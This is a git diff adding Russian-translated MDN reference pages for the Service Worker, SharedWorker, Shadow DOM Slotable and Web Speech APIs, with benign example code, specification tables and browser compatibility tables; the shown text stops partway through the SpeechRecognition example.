{{domxref("ServiceWorkerRegistration.installing")}} {{readonlyinline}}
+
Returns a service worker whose state is installing. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.waiting")}} {{readonlyinline}}
+
Returns a service worker whose state is waiting. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.active")}} {{readonlyinline}}
+
Returns a service worker whose state is either activating or activated. This is initially set to null. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the scope option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)
+
{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}
+
Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.
+
{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes.
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.
+
{{domxref("ServiceWorkerRegistration.sync")}} {{non-standard_inline}} {{readonlyinline}} 
+
Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}
+
An EventListener property called whenever an event of type updatefound is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.
+
+ +

Методы

+ +

Also implements methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.getNotifications()")}}
+
Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.
+
{{domxref("ServiceWorkerRegistration.showNotification()")}}
+
Displays the notification with the requested title.
+
{{domxref("ServiceWorkerRegistration.update()")}}
+
Checks the server for an updated version of the service worker without consulting caches.
+
{{domxref("ServiceWorkerRegistration.unregister()")}}
+
Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.
+
+ +

Примеры

+ +

In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and updatefound event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the updatefound event will not be fired.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}{{Spec2('Service Workers')}}Изначальное определение.
{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}{{Spec2('Push API')}}Добавлено свойство {{domxref("PushManager","pushManager")}}.
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Добавлены методы {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}}.
{{SpecName('Background Sync')}}{{Spec2('Background Sync')}}Добавлено свойство {{domxref("ServiceWorkerRegistration.sync","sync")}}.
+ +

Совместимость

+ + + +

{{Compat("api.ServiceWorkerRegistration")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html new file mode 100644 index 0000000000..ceaa0bc41e --- /dev/null +++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html @@ -0,0 +1,72 @@ +--- +title: ServiceWorkerRegistration.pushManager +slug: Web/API/ServiceWorkerRegistration/pushManager +translation_of: Web/API/ServiceWorkerRegistration/pushManager +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

Свойство pushManager интерфейса {{domxref("ServiceWorkerRegistration")}} возвращает ссылку на интерфейс {{domxref("PushManager")}}, позволяющий управлять подписками на push-уведомления. Включает поддержку процедуры подписки, получения активной подписки, а также предоставляет доступ к стутусу разрешений на push-уведомления.

+ +

Синтакс

+ +
myPushManager = ServiceWorker.pushManager
+
+ +

Значение

+ +

Объект {{domxref("PushManager")}}.

+ +

Примеры

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.
+      }, function(error) {
+        // При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
+        // об ошибках на сервер приложения.
+        console.log(error);
+      }
+    );
+  });
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#pushmanager-interface', 'PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.ServiceWorkerRegistration.pushManager")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html new file mode 100644 index 0000000000..fdcd0943fc --- /dev/null +++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html @@ -0,0 +1,272 @@ +--- +title: ServiceWorkerRegistration.showNotification() +slug: Web/API/ServiceWorkerRegistration/showNotification +translation_of: Web/API/ServiceWorkerRegistration/showNotification +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

The showNotification() method of the {{domxref("ServiceWorkerRegistration")}} interface creates a notification on an active service worker.

+ +
+

Note: This feature is available in Web Workers.

+
+ +

Syntax

+ +
​ServiceWorkerRegistration.showNotification(title, [options]).then(function(NotificationEvent) { ... });
+ +

Returns

+ +

A {{jsxref('Promise')}} that resolves to a {{domxref('NotificationEvent')}}.

+ +

Parameters

+ +
+
title
+
The title that must be shown within the notification
+
options {{optional_inline}}
+
An object that allows to configure the notification. It can have the following properties: +
    +
  • actions: An array of actions to display in the notification. The members of the array should be an object literal. It may contain the following values: +
      +
    • action: A {{domxref("DOMString")}} identifying a user action to be displayed on the notification.
      • +
    • title: A {{domxref("DOMString")}} containing action text to be shown to the user.
      • +
    • icon: A {{domxref("USVString")}} containg the URL of an icon to display with the action.
      • +
    + Appropriate responses are built using event.action within the {{event("notificationclick")}} event.
    • +
  • badge: The URL of an image to represent the notification when there is not enough space to display the notification itself such as, for example, the Android Notification Bar. On Android devices, the badge should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.
    • +
  • body: Строка с дополнительным контентом уведомления.
    • +
  • dir : The direction of the notification; it can be auto, ltr, or rtl
    • +
  • icon: URL или base64 версия картинки, которая отображается рядом с уведомлением.
    • +
  • image: URL {{domxref("USVSTring")}} картинки, которая отображается внутри уведомления.
    • +
  • lang: Specify the lang used within the notification. This string must be a valid BCP 47 language tag.
    • +
  • renotify: A boolean that indicates whether to supress vibrations and audible alerts when resusing a tag value. The default is false.
    • +
  • requireInteraction: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is false.
    • +
  • tag: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.
    • +
  • vibrate: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, [300, 100, 400] будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.
    • +
  • data: Arbitrary data that you want associated with the notification. This can be of any data type.
    • +
+
+
+ +

Examples

+ +
navigator.serviceWorker.register('sw.js');
+
+function showNotification() {
+  Notification.requestPermission(function(result) {
+    if (result === 'granted') {
+      navigator.serviceWorker.ready.then(function(registration) {
+        registration.showNotification('Vibration Sample', {
+          body: 'Buzz! Buzz!',
+          icon: '../images/touch/chrome-touch-icon-192x192.png',
+          vibrate: [200, 100, 200, 100, 200, 100, 200],
+          tag: 'vibration-sample'
+        });
+      });
+    }
+  });
+}
+ +

To invoke the above function at an appropriate time, you could use the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} event handler.

+ +

You can also retrieve details of the {{domxref("Notification")}}s have have been fired from the current service worker using {{domxref("ServiceWorkerRegistration.getNotifications()")}}.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-serviceworkerregistration-shownotificationtitle-options','showNotification()')}}{{Spec2('Web Notifications')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.showNotification")}}

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
vibrate option{{CompatChrome(45)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatOpera(32)}}{{CompatUnknown}}
requireInteraction{{CompatChrome(47)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
actions option{{CompatChrome(48)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
renotify option{{CompatChrome(50)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatOpera(37)}}{{CompatUnknown}}
badge option{{CompatChrome(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}
image option{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
data option{{CompatChrome(44)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
vibrate option{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatOperaMobile(32)}}{{CompatUnknown}}{{CompatChrome(45)}}
requireInteraction{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(47)}}
actions option{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(48)}}
renotify option{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatOperaMobile(37)}}{{CompatUnknown}}{{CompatChrome(50)}}
badge option{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(39)}}{{CompatUnknown}}{{CompatChrome(53)}}
image option{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(56)}}
data option{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(44)}}
+
diff --git a/files/ru/web/api/serviceworkerregistration/update/index.html b/files/ru/web/api/serviceworkerregistration/update/index.html new file mode 100644 index 0000000000..5a2180581a --- /dev/null +++ b/files/ru/web/api/serviceworkerregistration/update/index.html @@ -0,0 +1,74 @@ +--- +title: ServiceWorkerRegistration.update() +slug: Web/API/ServiceWorkerRegistration/update +translation_of: Web/API/ServiceWorkerRegistration/update +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

Метод update интерфейса {{domxref("ServiceWorkerRegistration")}} предназначен для обновления service worker. Он обращаетя по URL service worker-a, и если новый worker побайтно не совпадает с текущим, инсталирует новую версию. Обращение за новой версией worker обходит любые кеши браузера, если предыдущее обращение произошло более 24 часов назад..

+ +
+

Заметка: Эта возможность доступна в Web Workers.

+
+ +

Синтаксис

+ +
ServiceWorkerRegistration.update();
+ +

Параметры

+ +

Нет.

+ +

Возвращает

+ +

{{domxref("Промис")}}, который разрешается в объект {{domxref("ServiceWorkerRegistration")}}.

+ +

Пример

+ +

В следующем простом примере регистрируется service worker, а затем добавляется обработчик события клика по кнопке, так что вы можете явно обновить service worker по необходимости:

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) {
+    // Регистрация произошла
+    console.log('Registration succeeded.');
+    button.onclick = function() {
+      registration.update();
+    }
+  }).catch(function(error) {
+    // Ошибка при регистрации
+    console.log('Registration failed with ' + error);
+  });
+};
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#service-worker-registration-update-method', 'ServiceWorkerRegistration.update()')}}{{Spec2('Service Workers')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.ServiceWorkerRegistration.update")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html new file mode 100644 index 0000000000..a1702d28b1 --- /dev/null +++ b/files/ru/web/api/serviceworkerstate/index.html @@ -0,0 +1,46 @@ +--- +title: ServiceWorkerState +slug: Web/API/ServiceWorkerState +translation_of: Web/API/ServiceWorkerState +--- +
{{APIRef("Service Workers API")}}
+ +

ServiceWorkerState показывает состояние {{DOMxRef("ServiceWorker")}}'а.

+ +

Значения

+ +
+
installing
+
Service worker устанавливается. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события install для продления установки до успешного завершения переданного промиса. Как правило, данный метод используется для того, чтобы избежать активации service worker'а до завершения настройки его кеша.
+
installed
+
Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.
+
activating
+
Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события onactivate для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние activated.
+
activated
+
Service worker в данном состоянии активен и готов обрабатывать события.
+
redundant
+
Новый service worker заменяет данный либо service worker удаляется из-за ошибки при его установке.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("Service Workers", "#service-worker-state-enum", "ServiceWorkerState")}}{{Spec2("Service Workers")}}Изначальное определение.
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html new file mode 100644 index 0000000000..e19a8c7181 --- /dev/null +++ b/files/ru/web/api/sharedworker/index.html @@ -0,0 +1,220 @@ +--- +title: SharedWorker +slug: Web/API/SharedWorker +translation_of: Web/API/SharedWorker +--- +
{{APIRef("Web Workers API")}}
+ +

Интерфейс SharedWorker (разделяемый воркер) является особым видом воркеров к которому можно получить доступ из нескольких контекстов браузера, например, из нескольких окон, iframe, или других воркеров. Этот интерфейс реализован иначе, чем dedicated воркеры и имеют иной глобальный контекст, {{domxref("SharedWorkerGlobalScope")}}.

+ +
+

Замечание: Если SharedWorker может быть доступен из нескольких контекстов браузера, все они должны разделять одинаковое расположение (идентичные протокол, хост и порт).

+
+ +
+

Замечание: В Firefox, разделяемые воркеры не могут взаимодействовать между private (например, просматриваемыми в приватном режиме) и non-private документами (см. {{bug(1177621)}}.)

+
+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
{{domxref("EventListener")}} который вызывается всегда, когда {{domxref("ErrorEvent")}} типа error всплывает через воркер.
+
{{domxref("SharedWorker.port")}} {{readonlyInline}}
+
Возвращает объект {{domxref("MessagePort")}}, используемый для коммуникации и контроля разделяемого воркера.
+
+ +

Constructors

+ +
+
{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
+
Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.
+
+ +

Методы

+ +

Наследует методы родительского класса, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.

+ +

Пример

+ +

В нашем Базовом примере разделяемого воркера (запустить), имеются две HTML страницы, каждая из которых использует JavaScript для простых вычислений. Разные скрипты используют один и тот же воркер, чтобы выполнить умножение двух чисел - они оба имеют доступ к нему, даже если их страницы запущены в разных окнах.

+ +

Следующий пример кода демонстрирует создание объекта SharedWorker с использованием конструктора {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Оба скрипта содержат:

+ +
var myWorker = new SharedWorker("worker.js");
+
+ +

далее скрипты получают доступ к воркеру через объект {{domxref("MessagePort")}}, находящийся в свойстве {{domxref("SharedWorker.port")}}. Если устанавливается хэндлер события onmessage, port самостоятельно начинает работу, вызывая собственный метод start(), если же принимать события с помощью слушателя события  "message" через addEventListener, необходимо вызвать метод start() самостоятельно:

+ +
myWorker.port.start();
+ +

После того, как порт запущен, оба скрипта отправляют сообщения воркеру и принимают их от него, используя port.postMessage() и port.onmessage, соответственно:

+ +
first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }
+ +

Внутри воркера используется хэндлер {{domxref("SharedWorkerGlobalScope.onconnect")}} для соединения к тому же порту, как обсуждалось ранее. Порты, связанные с данным воркером доступны в свойстве ports события {{event("connect")}}. Далее вызывается метод {{domxref("MessagePort")}} start() для запуска порта, и устанавливается хэндлер onmessage для обработки сообщений, присылаемых от обоих потоков.

+ +
onconnect = function(e) {
+    var port = e.ports[0];
+    // or port = e.source
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // обязательно при использовании addEventListener. Иначе вызывается неявно после установки хэндлера onmessage.
+}
+ +

Пример с несколькими страницами

+ +

 

+ +
test.js
+
+let connected = false;
+self.addEventListener("connect", e => {
+  e.source.addEventListener("message", ev => {
+    if (ev.data === "start") {
+      if (connected === false) {
+        e.source.postMessage('worker init');
+        connected = true;
+      } else {
+        e.source.postMessage('worker already inited');
+      }
+    }
+  }, false);
+  e.source.start();
+}, false);
+
+
+На странице 1 получаем сообщение 'worker init' в консоли.
+
+index1.html
+...
+<script>
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e => {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+</script>
+...
+
+На странице 2 в консоль выводится 'worker already inited', так как страница 1 уже запустила наш воркер;
+
+index2.html
+...
+<script>
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e => {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+</script>
+...
+ +

 

+ +

 

+ +

 

+ +

 

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Поддержка{{CompatChrome(4)}}{{CompatGeckoDesktop(29.0)}}{{CompatNo}}{{CompatOpera(10.60)}}5
+ {{CompatNo}} 6.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("33.0")}}2.1{{CompatNo}}11.55.1
+ {{CompatNo}} 7.1
+
+ +

See also

+ + diff --git a/files/ru/web/api/slotable/index.html b/files/ru/web/api/slotable/index.html new file mode 100644 index 0000000000..b9c4436097 --- /dev/null +++ b/files/ru/web/api/slotable/index.html @@ -0,0 +1,44 @@ +--- +title: Slotable +slug: Web/API/Slotable +tags: + - миксины +translation_of: Web/API/Slottable +--- +

{{APIRef("Shadow DOM")}}

+ +

Миксин Slotable определяет возможности, которые позволяют нодам становиться контентом элемента {{htmlelement("slot")}} — следующие возможности включены в  {{domxref("Element")}} и {{domxref("Text")}}.

+ +

Свойства

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
Возвращает {{htmlelement("slot")}}, в который вставлена нода.
+
+ +

Методы

+ +

Нет.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Slotable")}}

diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html new file mode 100644 index 0000000000..d4f5246027 --- /dev/null +++ b/files/ru/web/api/speechgrammar/index.html @@ -0,0 +1,74 @@ +--- +title: SpeechGrammar +slug: Web/API/SpeechGrammar +tags: + - API + - Интерфейс + - Справка + - Экспериментальный + - грамматика речи + - распознавание + - речь +translation_of: Web/API/SpeechGrammar +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

Интерфейс SpeechGrammar Web Speech API представляет собой набор слов или шаблонов слов, которые мы хотим, чтобы служба распознавания распознавала.

+ +

Грамматика определяется с использованием JSpeech Grammar Format (JSGF.) Другие форматы также могут поддерживаться в будущем.

+ +

Конструктор

+ +
+
{{domxref("SpeechGrammar.SpeechGrammar()")}}
+
Создает новый объект SpeechGrammar .
+
+ +

Свойства

+ +
+
{{domxref("SpeechGrammar.src")}}
+
Устанавливает и возвращает строку, содержащую грамматику, внутри экземпляра объекта SpeechGrammar .
+
{{domxref("SpeechGrammar.weight")}} {{optional_inline}}
+
Устанавливает и возвращает вес объекта SpeechGrammar .
+
+ +

Примеры

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // должно вернуть то же, что и содержимое переменной gramar
+console.log(speechRecognitionList[0].weight); // должно вернуть 1 - столько же, сколько указано в 4-й строчке.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Speech API', '#speechreco-speechgrammar', 'SpeechGrammar')}}{{Spec2('Web Speech API')}}
+ +

Совместимость с браузерами

+ +
{{Compat("api.SpeechGrammar")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html new file mode 100644 index 0000000000..011774ea9a --- /dev/null +++ b/files/ru/web/api/speechrecognition/index.html @@ -0,0 +1,221 @@ +--- +title: SpeechRecognition +slug: Web/API/SpeechRecognition +translation_of: Web/API/SpeechRecognition +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

Интерфейс Распознавание голоса Web Speech API является интерфейсом контроллера для сервиса распознавания; который так же перехватывает событие {{domxref("SpeechRecognitionEvent")}}, отправленное сервисом распознавания.

+ +

Конструктор

+ +
+
{{domxref("SpeechRecognition.SpeechRecognition()")}}
+
Создает новый объект SpeechRecognition .
+
+ +

Свойства

+ +

SpeechRecognition наследует свойства от своего родителського интерфейса, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.grammars")}}
+
Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}}  грамматики которые будут понятны текущему SpeechRecognition.
+
{{domxref("SpeechRecognition.lang")}}
+
Задает и возвращает язык текущего SpeechRecognition. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.
+
{{domxref("SpeechRecognition.continuous")}}
+
Проверяет возвращается ли непрерывные результаты или вернулся только один. По-умолчанию для одиночного значение (false.)
+
{{domxref("SpeechRecognition.interimResults")}}
+
Контроллирует, следует ли возвращать промежуточные результаты (true) или нет (false.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство ложно.)
+
{{domxref("SpeechRecognition.maxAlternatives")}}
+
Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По-умолчанию значение 1.
+
{{domxref("SpeechRecognition.serviceURI")}}
+
Определяет местоположение службы распознавания речи, используемой текущим SpeechRecognition, для обработки фактического распознавания. По умолчанию используется речевая служба агента пользователя.
+
+ +

Обработчики событий

+ +
+
{{domxref("SpeechRecognition.onaudiostart")}}
+
Вызывается когда пользовательский агент начал захват аудио.
+
{{domxref("SpeechRecognition.onaudioend")}}
+
Вызывается когда пользовательский агент закончил захват аудио.
+
{{domxref("SpeechRecognition.onend")}}
+
Вызывается когда служба распознавания речи отключилилась.
+
{{domxref("SpeechRecognition.onerror")}}
+
Вызывается когда произошла ошибка распознавания речи.
+
{{domxref("SpeechRecognition.onnomatch")}}
+
Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.
+
{{domxref("SpeechRecognition.onresult")}}
+
Вызывается когдавозвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.
+
{{domxref("SpeechRecognition.onsoundstart")}}
+
Вызывается при любом звуке — рапозназнаваемая речь или нет — будеь обнаружено.
+
{{domxref("SpeechRecognition.onsoundend")}}
+
Вызывается когда  любой звук — распознаваемая речь или нет — перестала распознаваться.
+
{{domxref("SpeechRecognition.onspeechstart")}}
+
Вызывается, когда обнаружен звук, распознаваемый службой распознавания речи как речевой сигнал.
+
{{domxref("SpeechRecognition.onspeechend")}}
+
Вызывается, когда прекращается обнаружение речи, распознанной службой распознавания речи.
+
{{domxref("SpeechRecognition.onstart")}}
+
Вызывается, когда служба распознавания речи начинает прослушивать входящий звук с намерением распознать грамматики, связанные с текущим распознаванием речи.
+
+ +

Методы

+ +

Распознавание речи также наследует методы от своего родительского интерфейса, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.abort()")}}
+
Прекращает службу распознавания речи от прослушивания входящего аудио и не пытается вернуть {{domxref("SpeechRecognitionResult")}}.
+
{{domxref("SpeechRecognition.start()")}}
+
Запускает службу распознавания речи, прослушивая входящее аудио с целью распознавания грамматик, связанных с текущим распознаванием речи.
+
{{domxref("SpeechRecognition.stop()")}}
+
Прекращает службу распознавания речи от прослушивания входящего аудио и пытается вернуть{{domxref("SpeechRecognitionResult")}} Используя уже записанный звук.
+
+ +

Примеры

+ +

В нашем простом примере Speech color changer , мы создаем новый объект экземпляра SpeechRecognition используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.

+ +

После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло собыстие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
